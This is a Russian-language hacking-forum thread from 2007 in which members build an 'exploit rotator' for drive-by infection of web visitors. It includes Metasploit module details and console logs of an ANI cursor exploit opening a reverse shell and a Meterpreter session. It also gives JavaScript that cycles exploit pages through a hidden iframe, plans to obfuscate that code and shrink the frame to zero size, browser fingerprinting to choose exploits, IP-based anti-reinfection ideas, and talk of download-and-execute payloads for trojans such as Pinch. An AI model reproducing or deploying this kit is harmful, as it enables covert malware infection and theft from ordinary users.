Проанализируем для Mozilla FireFox:

multi/browser/firefox_queryinterface Firefox location.QueryInterface() Code Execution
multi/browser/mozilla_compareto Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution
multi/browser/mozilla_navigatorjava Mozilla Suite/Firefox Navigator Object Code Execution
1.multi/browser/firefox_queryinterface - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Mozilla Firefox браузер. Чтобы надежно эксплуатировать эту уязвимость, мы нуждаемся в заполнинии почти гигабайта памяти инстукцией nop и начинкой. Это модуль был проверен на OS X 10.3 с готовым Firefox 1.5.0 package. Цель: "Firefox 1.5.0.0 Mac OS X, Firefox 1.5.0.0 Linux". Код ситуации (позже посчитаю).
2.multi/browser/mozilla_compareto - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Mozilla Suite, Mozilla Firefox, и приложения Mozilla Thunderbird. Этот модуль контролирует порт Aviv Raff's HTML PoC. Цель: "Firefox < 1.0.5 Windows". Код ситуации 35.
3.multi/browser/mozilla_navigatorjava - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Mozilla Suite, Mozilla Firefox, и приложения Mozilla Thunderbird. Успешная эксплуатация уязвимости возможна, если Java-плагин установлен.
Обратим внимание на цели:

-- ----
0 Firefox 1.5.0.4 Windows x86
1 Firefox 1.5.0.4 Linux x86
2 Firefox 1.5.0.4 Mac OS X PPC
3 Firefox 1.5.0.4 Mac OS X x86
- уязвимы все системы, где установлен этот браузер. Для каждой системы потребуется своя начинка. Коды ситуаций 35 (и ещё 3 шт.).

... обновлено, добавлен сплоит под №0, продолжаю анализ сплоитов (19 шт. уже не мало, но это не всё)...

Alexsize
04.04.2007, 14:38
Было бы просто отлично(хотя и так супер), если бы автор описал нам новейшую уязвимость Ani курсорчиков под винды. Я думаю, что большинство виндовых машин уязвимы, а значит эта уязвимость архиактуальна.

ShadOS
04.04.2007, 15:17
Что-то не понял, а где часть 5?

-=lebed=-
04.04.2007, 15:29
Было бы просто отлично(хотя и так супер), если бы автор описал нам новейшую уязвимость Ani курсорчиков под винды. Я думаю, что большинство виндовых машин уязвимы, а значит эта уязвимость архиактуальна.
Есть всё тут: http://securityvulns.ru/news/Microsoft/Windows/ANI.html

-=lebed=-
04.04.2007, 15:48
Что-то не понял, а где часть 5?
:D Пятая будет потом. Описание релиза 3.0 + пользовательский мануал + мануал разработчика.

P.S. Надоело описывать одно и тоже. n0ne сделает перевод мана для разработчиков, кроме того выйдет рабочий сплоит the ANI vulnerability on Vista (skape), если уже не вышел, вот тогда можно будет и пятую часть написать. ;)

-=lebed=-
04.04.2007, 18:39
Сделал update релиза MSF 3.0 появился в списочке этот сплоит!
windows/browser/ani_loadimage_chunksize - завтра буду тестить, Добавлю в анализ и потом в свой ротатор, так как очень актуален, как заметил Alexsize.
Вот инфа:

info windows/browser/ani_loadimage_chunksize


Name: Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)
Version: 4645
Platform: Windows
Privileged: No
License: Metasploit Framework License

Provided by:
hdm <hdm@metasploit.com>
skape <mmiller@hick.org>

Available targets:
Id Name
-- ----
0 Automatic
1 Windows XP SP2 user32.dll 5.1.2600.2622
2 Windows XP SP2 userenv.dll English
3 Windows XP SP0/SP1 netui2.dll English
4 Windows 2000 SP0-SP4 netui2.dll English
5 Windows Vista user32.dll 6.0.6000.16386

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.0.3.84 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 1180

Description:
This module exploits a buffer overflow vulnerability in the
LoadAniIcon() function of USER32.dll. The flaw is triggered through
Internet Explorer (6 and 7) by using the CURSOR style sheet
directive to load a malicious .ANI file. Internet Explorer will
catch any exceptions that occur while the invalid cursor is loaded,
causing the exploit to silently fail when the wrong target has been
chosen. This module will be updated in the near future to perform
client-side fingerprinting and brute forcing. This vulnerability was
discovered by Alexander Sotirov of Determina and was rediscovered,
in the wild, by McAfee.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-0038
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-1765
http://www.securityfocus.com/bid/23194
http://www.microsoft.com/technet/security/advisory/935423.mspx
http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp
http://www.determina.com/security.research/vulnerabilities/ani-header.html


Вот перевод описания:

Сплоит эксплуатирует уязвимость переполнение буфера в LoadAniIcon () функции библиотеки UER32.dll. Баг вызван через браузер Интернет Эксплорер (6 и 7), использущий директиву загрузки стиля КУРСОРА злонамеренного .ANI файла. Internet Explorer будет ловить любые исключения, которые происходят, в то время как неправильный курсор загружен, эксплоит будет терпеть неудачу, если выбрана неправильная цель. Этот модуль будет обновлен в ближайшем будущем, чтобы исполнить fingerprinting на стороне клиента и брутфорс (грубая сила). Эта уязвимость была обнаруженна Александром Сотировым Determina и была открыта вновь, McAfee.

-=lebed=-
05.04.2007, 10:31
Затестил сегодня сплоит windows/browser/ani_loadimage_chunksize на WIN-XP-SP2+IE 6.0 - пока не работает, IE не валит, полезную нагрузку не выполняет, сессию не открыватет. Придётся ждать, когда его код доведут до ума, чтоб можно было исполнить начинку...

-=lebed=-
05.04.2007, 18:13
Кто тестил ? На viste ?
На оффсайте показано, что работает:

msf exploit(ani_loadimage_chunksize) > exploit

Started reverse handler

Using URL: http://10.4.4.1:8080/foo

Server started.

Exploit running as background job.

msf exploit(ani_loadimage_chunksize) >

Transmitting intermediate stager for over-sized stage...(89 bytes)

Sending stage (2834 bytes)

Sleeping before handling stage...

Uploading DLL (73739 bytes)...

Upload completed.

Meterpreter session 1 opened (10.4.4.1:4444 -> 10.4.4.2:49310)

msf exploit(ani_loadimage_chunksize) > sessions -i 1

Starting interaction with 1...

meterpreter > sysinfo
Computer: VMVX86
OS : Windows Vista (Build 6000, ).
meterpreter > execute -f cmd

[-] stdapi_sys_process_execute: Operation failed: 5
meterpreter >

Кто не хочет делать обновление релиза 3.0 можете скачать сплоит отдельно тут (http://lebed.ucoz.ru/soft/ani.rar).
У кого виста + msf 3.0 релиз может затестите? На XP-SP2, цели 0,1,2 чёт не пашет :mad:

V1k
05.04.2007, 19:39
Название ОС: MicrosoftR Windows VistaT Ultimate
Версия ОС: 6.0.6000 Н/Д сборка 6000

У меня не заработал сплойт.

-=lebed=-
10.04.2007, 17:28
Кароче есть функция:

function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
}


Вызываем в теле функцию:

<body onload="changePage()">
<iframe id="ifrm" src=""/>
</body>
и получаем в Ифрейме нужную страничку.

А мне хотелось бы не в Ифрейме, а просто перенаправить на неё юзера. И открыть в этом же (не в новом) окне. Как реализовать?

-=lebed=-
11.04.2007, 14:04
Модернизируем так:

function changePage() {
return sites[currentPage];
}

</script>

<body onload="var page=changePage(); javascript:location.replace(page)">


Перенаправляем юзера на нужную страницу в зависимости от ситуации (а их может быть 256 - про запас :D ). Ну я от Маков пока отказался, так, что 128. А странички будут уже содержать ротацию сплоитов. Вообщем приступаем к созданию страницы с ротацией сплоитов (универсальной) - то есть запихнём в её IFRAME все наши сплоиты, а потом можно будет вычеркнуть, те которые заведомо не подходят под конкретную ситуацию (Браузер, систему).

-=lebed=-
11.04.2007, 15:12
Типовой код файла rotor[N].html

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>rotor0</title>
</head>


<script type="text/javascript">
sploits = new Array();
currentSploit = 0;
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sploits[0] = "0.html";
sploits[1] = "1.html";
sploits[2] = "2.html";
sploits[3] = "3.html";
sploits[4] = "4.html";
sploits[5] = "5.html";
sploits[6] = "6.html";
sploits[7] = "7.html";
sploits[8] = "8.html";
sploits[9] = "9.html";
sploits[10] = "10.html";
sploits[11] = "11.html";
function changeSploit() {
document.getElementById( "ifrm" ).src = sploits[currentSploit];
currentSploit++;
if (currentSploit >= sploits.length) {
currentSploit = 0;
}
}
setInterval( "changeSploit()", 5000 );
</script>

<body onload="changeSploit()">
<iframe id="ifrm" src="" style="text-align: Justify; padding-left:0px; padding-top:0px; height: 5%; width:10%; ">
</body>
</html>

Проверим - работает во всех трёх браузерах.
Интервал потом надо будет уточнить, так как некоторым сплоитам на переполнение необходимо много времени, также набор сплоитов и количество для каждой ситуации будет свой. Не забудем потом сделать размер фрейма нулевым и про обфускацию html кода.

-=lebed=-
12.04.2007, 11:24
Вот сделал подборку документации по Ruby (ведь все сплоиты в пакете на нём написаны) в chm всем качать скачать (http://lebed.ucoz.ru/soft/Ruby-Doc.chm)

slesh
13.04.2007, 21:58
Народ, а вы случайно не подумали для чего в сплоите ANI есть такие стоки:

[I]# Should work for all English XP SP2
[ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],

Просто этот адресм может постоянно меняться в зависимости от версии винды и языка. Даже патчи влияют на эти адреса.
Поэтому мне кажется что смысл такого сплоита - нулевой. при нормальных условиях.
Т.е. можно создать скрипт с базой этих адресов. И перебирать все адреса!

-=lebed=-
30.04.2007, 17:22
Затестил сплоит windows/browser/ani_loadimage_chunksize с начинкой реверсшелл, сработало!

use windows/browser/ani_loadimage_chunksize

>> info windows/browser/ani_loadimage_chunksize


Name: Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)
Version: 4795
Platform: Windows
Privileged: No
License: Metasploit Framework License

Provided by:
hdm <hdm@metasploit.com>
skape <mmiller@hick.org>

Available targets:
Id Name
-- ----
0 Automatic
1 Windows XP SP2 user32.dll 5.1.2600.2622
2 Windows XP SP2 userenv.dll English
3 Windows XP SP2 userenv.dll French
4 Windows XP SP0/SP1 netui2.dll English
5 Windows 2000 SP0-SP4 netui2.dll English
6 Windows Vista user32.dll 6.0.6000.16386
7 Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language
8 Windows XP SP2 userenv.dll English
9 Windows XP SP2 user32.dll (5.1.2600.2180) English
10 Windows XP SP2 userenv.dll Portuguese (Brazil)
11 Windows XP SP1a userenv.dll English
12 Windows XP SP1a shell32.dll English

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.1.33 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 1234

Description:
This module exploits a buffer overflow vulnerability in the
LoadAniIcon() function of USER32.dll. The flaw is triggered through
Internet Explorer (6 and 7) by using the CURSOR style sheet
directive to load a malicious .ANI file. Internet Explorer will
catch any exceptions that occur while the invalid cursor is loaded,
causing the exploit to silently fail when the wrong target has been
chosen. This module will be updated in the near future to perform
client-side fingerprinting and brute forcing. This vulnerability was
discovered by Alexander Sotirov of Determina and was rediscovered,
in the wild, by McAfee.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-0038
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-1765
http://www.securityfocus.com/bid/23194
http://www.microsoft.com/technet/security/advisory/935423.mspx
http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp
http://www.determina.com/security.research/vulnerabilities/ani-header.html


>> set URIPATH test

URIPATH => test

>> show payloads


Compatible payloads
===================

Name Description
---- -----------
generic/shell_bind_tcp Generic Command Shell, Bind TCP Inline
----------- тут другие начинки, пропущены -------------
windows/shell_reverse_tcp Windows Command Shell, Reverse TCP Inline
----------- тут другие начинки, пропущены -------------

>> set PAYLOAD windows/shell_reverse_tcp

PAYLOAD => windows/shell_reverse_tcp

>> set LHOST 192.168.1.33

LHOST => 192.168.1.33

>> exploit

Started reverse handler

Using URL: http://192.168.1.33:8080/test

Server started.

Exploit running as background job.

Command shell session 1 opened

(192.168.1.33:4444 -> 192.168.1.33:3402)

>> sessions -l


Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.1.33:4444 -> 192.168.1.33:3402


>> sessions -i 1

Starting interaction with 1...

Microsoft Windows XP [‚¥àá¨ï 5.1.2600]

(‘) Š®à¯®à æ¨ï Œ ©ªà®á®äâ, 1985-2001.

D:\Documents and Settings\Admin>

>> dir

dir
’®¬ ¢ ãáâனá⢥ D ¨¬¥¥â ¬¥âªã WIN_XP_SP2

‘¥à¨©ë© ®¬¥à ⮬ : 455F-C2C7
‘®¤¥à¦¨¬®¥ ¯ ¯ª¨ D:\Documents and Settings\Admin

04.12.2006 19:49 <DIR> .
04.12.2006 19:49 <DIR> ..
04.12.2006 19:32 <DIR> ƒ« ¢®¥ ¬¥î
04.12.2006 19:49 <DIR> Œ®¨ ¤®ªã¬¥âë
04.12.2006 19:49 <DIR> ˆ§¡à ®¥
04.12.2006 19:32 <DIR> � ¡®ç¨© á⮫
10.12.2006 19:33 15 .bash_history
11.12.2006 00:23 44 %1
03.02.2007 18:56 <DIR> WINDOWS
30.04.2007 11:11 <DIR> .msf3

3 ä ©«®¢ 100ÿ653 ¡ ©â

9 ¯ ¯®ª 663ÿ971ÿ840 ¡ ©â ᢮¡®¤®

D:\Documents and Settings\Admin>

В кэше IE получается 10 картинок, сам html-код запутан и потом не пашет, если сохранить локально, вместе с картинками... :mad:

-=lebed=-
01.05.2007, 09:57
Требуется Ваше участие для того чтоб закончить ротатор и сделать альфа версию ротатора с минимальным набором сплоитов (хотя-бы 8-10 последних, актуальных паблик сплоитов) и рабочую, а именно - требуются рабочие=исправленные паблик-сплоиты (HTML) для IE, Opera, FireFox, к которым можно прикрутить шелл-код: загрузчик EXE + исполнение, так как не все сплоиты можно сгенерировать Мetasploit`ом. Пишите в личку или тут, присылайте исправленный рабочий код или давайте ссылки, включу эксплоиты в этот ротатор. В частности нужен windows/browser/ani_loadimage_chunksize - сплоит (на html+java), использующий уязвимость в обработке анимированных курсоров.

Hellsp@wn
01.05.2007, 12:06
но ведь в той же опере или мозилле можно выбрать опцию -> идентифицировать \
как ... в этом случае браузер будет определён правильно?

-=lebed=-
02.05.2007, 13:10
но ведь в той же опере или мозилле можно выбрать опцию -> идентифицировать \
как ... в этом случае браузер будет определён правильно?
Х.е.з. Может и не правильно, в самих сплоитах ещё есть функции определения браузера и версии системы, например вот:

function GetSystemVersion()
{
//Simple Detecting of OS version out of Jscript version:

var ver = "";
ver += ScriptEngineMajorVersion();
ver += ScriptEngineMinorVersion();
ver += ScriptEngineBuildVersion();

if ( ver<568820 ){ return("preSP2"); }
else if ( ver<575730 ){ return("SP2"); }
else return (0);
}

[53x]Shadow
14.05.2007, 23:39
но ведь в той же опере или мозилле можно выбрать опцию -> идентифицировать \
как ... в этом случае браузер будет определён правильно?
Вот нормальный скрипт для определения типа браузера на JavaScript

<script language="javascript">

var BrUserAgent = navigator.userAgent.toLowerCase();
var BrUserVersion = parseInt(navigator.appVersion);

if(BrUserAgent.indexOf('opera')!=-1){
document.write('Opera');
}
else if(BrUserAgent.indexOf('msie')!=-1){
document.write('IE');
}
else if(BrUserAgent.indexOf('mozilla')!=-1){
document.write('mozilla');
}
else{
document.write('unknown');
}

</script>

to -=lebed=-
Твой скрипт определения браузера протестил, действительно можно обойти проверку изменив идентификацию в опциях. Скрипт выше определяет правильно, если изменять идентификацию в опциях оперы или мозилы.
Но если будет изменяться UserAgent в HTTP заголовке, например с помощью проксей или спец. прог, то и этот скрипт не поможет!
Со 100% вероятностью можно определить только оперу по специфичному свойству window.opera.
Кстати как там на счет продолжения ротатора? Готов помочь генерить сплойты;) Да и продолжение статьи вообще будет? Хотелось бы почитать про обфускацию HTML, что нидь новенькое.

-=lebed=-
17.05.2007, 11:04
Подправил немного под себя:

<!-- Функция определения броузера (перенная name_brouser - Название, code_brouser - Присвоенный код, ver_brouser - версия браузера, в зависимости от параметра [p] выдаёт код броузера (code_brouser), имя броузера (name_brouser), или версию браузера (ver_brouser) -->
function test_brouser(p) {
var BrUserAgent = navigator.userAgent.toLowerCase();
var name_brouser = navigator.appName
var ver_brouser = navigator.appVersion;
var code_brouser = 0

if(BrUserAgent.indexOf('opera')!=-1){
code_brouser=1;
}
else if(BrUserAgent.indexOf('msie')!=-1){
code_brouser=0;
}
else if(BrUserAgent.indexOf('mozilla')!=-1){
code_brouser=2;
}
else {
code_brouser=3;
}

if (p===0)
{return code_brouser;}
else if (p===1)
{return name_brouser;}
else
{return ver_brouser;}

}


Я думаю не стоить пока парсить navigator.appName - так больше инфы возвращает функция. (пропарсить мона потом при вызове). ;)

-=lebed=-
17.05.2007, 11:19
кароче вот Вам заготовка: скачать (http://lebed.ucoz.ru/soft/rotator.zip) (вместо сплоитов - пустые страницы, пока... ну и задержка там маленькая стоит)

Прошу затестить и отписаться у кого какой код ситуации. Попросту при запуске index.htm или обновлённого index(обход подмены идентификации броузера).htm страница с каким номером не находится. В ротаторе заложены только три кода ситуации для IE 6 (3), Оперы 9 (19), FireFox (35).

Респект [53x]Shadow за функцию.

[53x]Shadow
17.05.2007, 13:31
Короче вроде все путем протестил на IE и FireFox! Оперы под рукой нет, если что вечером прогоню. А так все прикольно работает, тока не понятно пока зачем cpu, если переменная всегда равна 0 и в 11.html надо номер эксплойта исправить с 1 на 11, но енто мелочь, правда не приятная, долго вникал в цикл думал ошибка;)

-=lebed=-
17.05.2007, 13:33
Затестил сегодня: Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009) и Ms Windows (.ani) Gdi Remote Elevation Of Privilege Exploit (ms07-017) - оба сплоита пашут под IE 6, осталось сменить начинку на загрузчик... ;)

-=lebed=-
17.05.2007, 13:39
Shadow']Короче вроде все путем протестил на IE и FireFox! Оперы под рукой нет, если что вечером прогоню. А так все прикольно работает, тока не понятно пока зачем cpu, если переменная всегда равна 0 и в 11.html надо номер эксплойта исправить с 1 на 11, но енто мелочь, правда не приятная, долго вникал в цикл думал ошибка;)

1. Начинал писать с размахом сначала (но потом на MAC решил забить, ведь другая архитектура - другие шеллкоды, в принципе щас не актуально, можно исключить.
2. А ну да, страницы не хватало, просто скопировал с 1.html, а в теле поменять забыл...

P.S. А вообще для ротации 3-5 последних сплоитов заглаза хватит! Если уж последние не пробьют, то смысла подсовывать какие-более ранние не вижу..

Потом в планах функция определения пробил сплоит браузер или нет и в случае пробива завершение ротации...

[53x]Shadow
17.05.2007, 15:21
Кстати я тут подумал, было бы не плохо реализовать функцию защиты от повторного заражения. То есть если пользователь уже был на странице, переслать его на обычную страницу. Это можно легко реализовать на php сохраняя и фильтруя ip-адреса, прокси не рассматриваем. Но так как весь ротатор реализован на javascript, есть по крайней мере один (запарился гуглить) вариант, с использованием SSI:

<script language="JavaScript">
var ip = '<!--#echo var="REMOTE_ADDR"-->';
alert("Your IP address is "+ip);
</script>

Других оптимальных вариантов просто не нашел.

Alexsize
17.05.2007, 15:42
Shadow']Кстати я тут подумал, было бы не плохо реализовать функцию защиты от повторного заражения. То есть если пользователь уже был на странице, переслать его на обычную страницу. Это можно легко реализовать на php сохраняя и фильтруя ip-адреса, прокси не рассматриваем. Но так как весь ротатор реализован на javascript, есть по крайней мере один (запарился гуглить) вариант, с использованием SSI:

<script language="JavaScript">
var ip = '<!--#echo var="REMOTE_ADDR"-->';
alert("Your IP address is "+ip);
</script>

Других оптимальных вариантов просто не нашел.
Вообще, по - нормальному, функцию бана по ип, обязательную кстати в коммерческих связках, следует реализовывать на пхп. А те адреса, что в бане стоит хрнанить в базе mysql. ИМХО неплохо получаеться=)

Alexsize
17.05.2007, 15:44
Почему ты зациклился ТОЛЬКО на ява скрипте, ведь это создаст дополнительную нагрузку на клиента! Пиши Ротатор на пхп + mysql, можно и перла добавить, а сплоиты уже на ява скрипте!

-=lebed=-
17.05.2007, 16:08
Почему ты зациклился ТОЛЬКО на ява скрипте, ведь это создаст дополнительную нагрузку на клиента! Пиши Ротатор на пхп + mysql, можно и перла добавить, а сплоиты уже на ява скрипте!
Выше ответы на вопросы (в самом начале статьи).
1. Я плохо пока знаю php.
2. Ставилась задача написать ПРОСТОЙ ротатор и чтоб можно было разместить на любом бесплатном хостинге, где нет поддержки php и perl.
3. Функцию бана по IP ? А если люди за NAT и у них один внешний IP то всю подсеть банить? Имхо лишнее, функцию защиты от повторного заражения лучше возложить на начинку (загрузчик) или самого троя...

Alexsize
17.05.2007, 16:24
Ты заблуждаешься по пунктам 2 и 3 соответственно. Не веришь мне, спроси людей авторитетных. Но поверь, тут лучше не проще делать, а по уму. Я кстати тож пхп не кодю. Но в скрипте разберусь.

-=lebed=-
17.05.2007, 16:33
Ну как я на ucoz к примеру размещу скрипты php они ведь выполнятся там не будут.

Alexsize
17.05.2007, 16:41
А нафиг тебе бесплатные хосты???!!

[53x]Shadow
17.05.2007, 17:43
А нафиг тебе бесплатные хосты???!!

Зря ты так, на самом деле на пхп бан писать 5 сек, но если на javascript это действительно универсальней получается, мона на любом хосте разместить, без запарки!

Alexsize
17.05.2007, 18:28
НО эффективность то кода будет стремиться к 0 при большом колве строк!

[53x]Shadow
17.05.2007, 19:22
НО эффективность то кода будет стремиться к 0 при большом колве строк!
Пока не вижу большого количества строк, чтобы говорить об эффективности -> 0!

fediko
08.07.2007, 08:00
У меня только 1 вопросец. Впринципе конечно ниче самопал ))) Но вот вопрос как в metasploite делать сплоиты с начинкой download&exec чтоб они не на web висели а именно в виде файла и чтоб уже пихать их вместо файлов...

-=lebed=-
09.07.2007, 09:14
У меня только 1 вопросец. Впринципе конечно ниче самопал ))) Но вот вопрос как в metasploite делать сплоиты с начинкой download&exec чтоб они не на web висели а именно в виде файла и чтоб уже пихать их вместо файлов...
Ломаешь сам себя, заходишь на сервер метасплоита неуязвимым браузером (Опера 9.20 или Mozila Firefox) сохраняешь страницу - сплоит в виде файла html готов. (не со всеми прокатывает конечно, но со многими) в некоторых требуются дополнительные файлы-картинки (tiff, jpg, bmp,gif и др. - например WMF-сплоит)

fediko
10.07.2007, 03:06
Спасибо.Ясно...Я просто думал есть другие способы...Я делал немногоподругому.Генерил начинку через вэбпанель далее ее заменял в исходниках на С++...Впринципе геморнее...

sslav
06.08.2007, 18:29
а продолжение когда будет ? :)

-=lebed=-
06.08.2007, 18:31
а продолжение когда будет ? :)
Когда коллекция сплоитов под браузеры наберётся приличная... по срокам осень, зима...
В принципе сам ротатор готов, только нужны сплоиты, посвежее ;)

sslav
06.08.2007, 21:56
Когда коллекция сплоитов под браузеры наберётся приличная... по срокам осень, зима...
В принципе сам ротатор готов, только нужны сплоиты, посвежее ;)
я к тому что было б не плохо замкнуть логическую цепочку
и вставить хоть 1 сплоит для примера :)

-=lebed=-
07.08.2007, 09:17
я к тому что было б не плохо замкнуть логическую цепочку
и вставить хоть 1 сплоит для примера :)

Да можно вставить, а чей он будет (какую полезную нагрузку нести и на кого работать?) просто к примеру запускать калькулятор? Надо генерить для себя это дело: сплоит+ нужная начинка (с параметрами).

sslav
13.08.2007, 14:59
Да можно вставить, а чей он будет (какую полезную нагрузку нести и на кого работать?) просто к примеру запускать калькулятор? Надо генерить для себя это дело: сплоит+ нужная начинка (с параметрами).

да не важно.. можно взять, к примеру, тот же VML с начинкой Download and Execute и запускать тот же калькулятор, важен сам принцип создания...
интересно было бы еще рассмотреть и остальные начинки из категории Download and Execute

onikishov
22.08.2007, 17:39
Что насчет взлома по локалке? По моей ссылке зашли примерно 20 пользователей и был взломан только один и то, тот который уже был поломан ms04011 эксплоитом. Толку тогда от него? Уже тогда лучше тупо кидать ссылку на троя или радмина.

Ar3s
10.09.2007, 10:37
зачем калькулятор?
Со всех сплоитов нам в итоге нужно запустить 2 файла.
1. Для виндов (допустим пинч)
2. Для никсов (мысли отсутствуют)

т.е. ложим на серваке два файла file1.exe и File2.bin
А в сплоитах нужно просто добавить определение url-а на котором они лежат и затем прибавить к урлу номер нужного файла. Так будет оптимально. И никому не придется пересобирать сплоиты "под себя"

D1ma
20.02.2008, 17:19
мм. Вышла уже версия 3.1. Ar3s покажи плз пример download and Execution.

satana8920
02.11.2008, 14:11
Сори за апп старой темы (не ставьте плизз минусов это важно)
как в сплойтах еси например один не сработал сплойт что б заускался второй итд???

-=lebed=-
02.11.2008, 23:07
Сори за апп старой темы (не ставьте плизз минусов это важно)
как в сплойтах еси например один не сработал сплойт что б заускался второй итд???
Для ротации вредоносных html страниц со сплоитами вот тут код: https://forum.antichat.ru/showpost.php?p=334401&postcount=16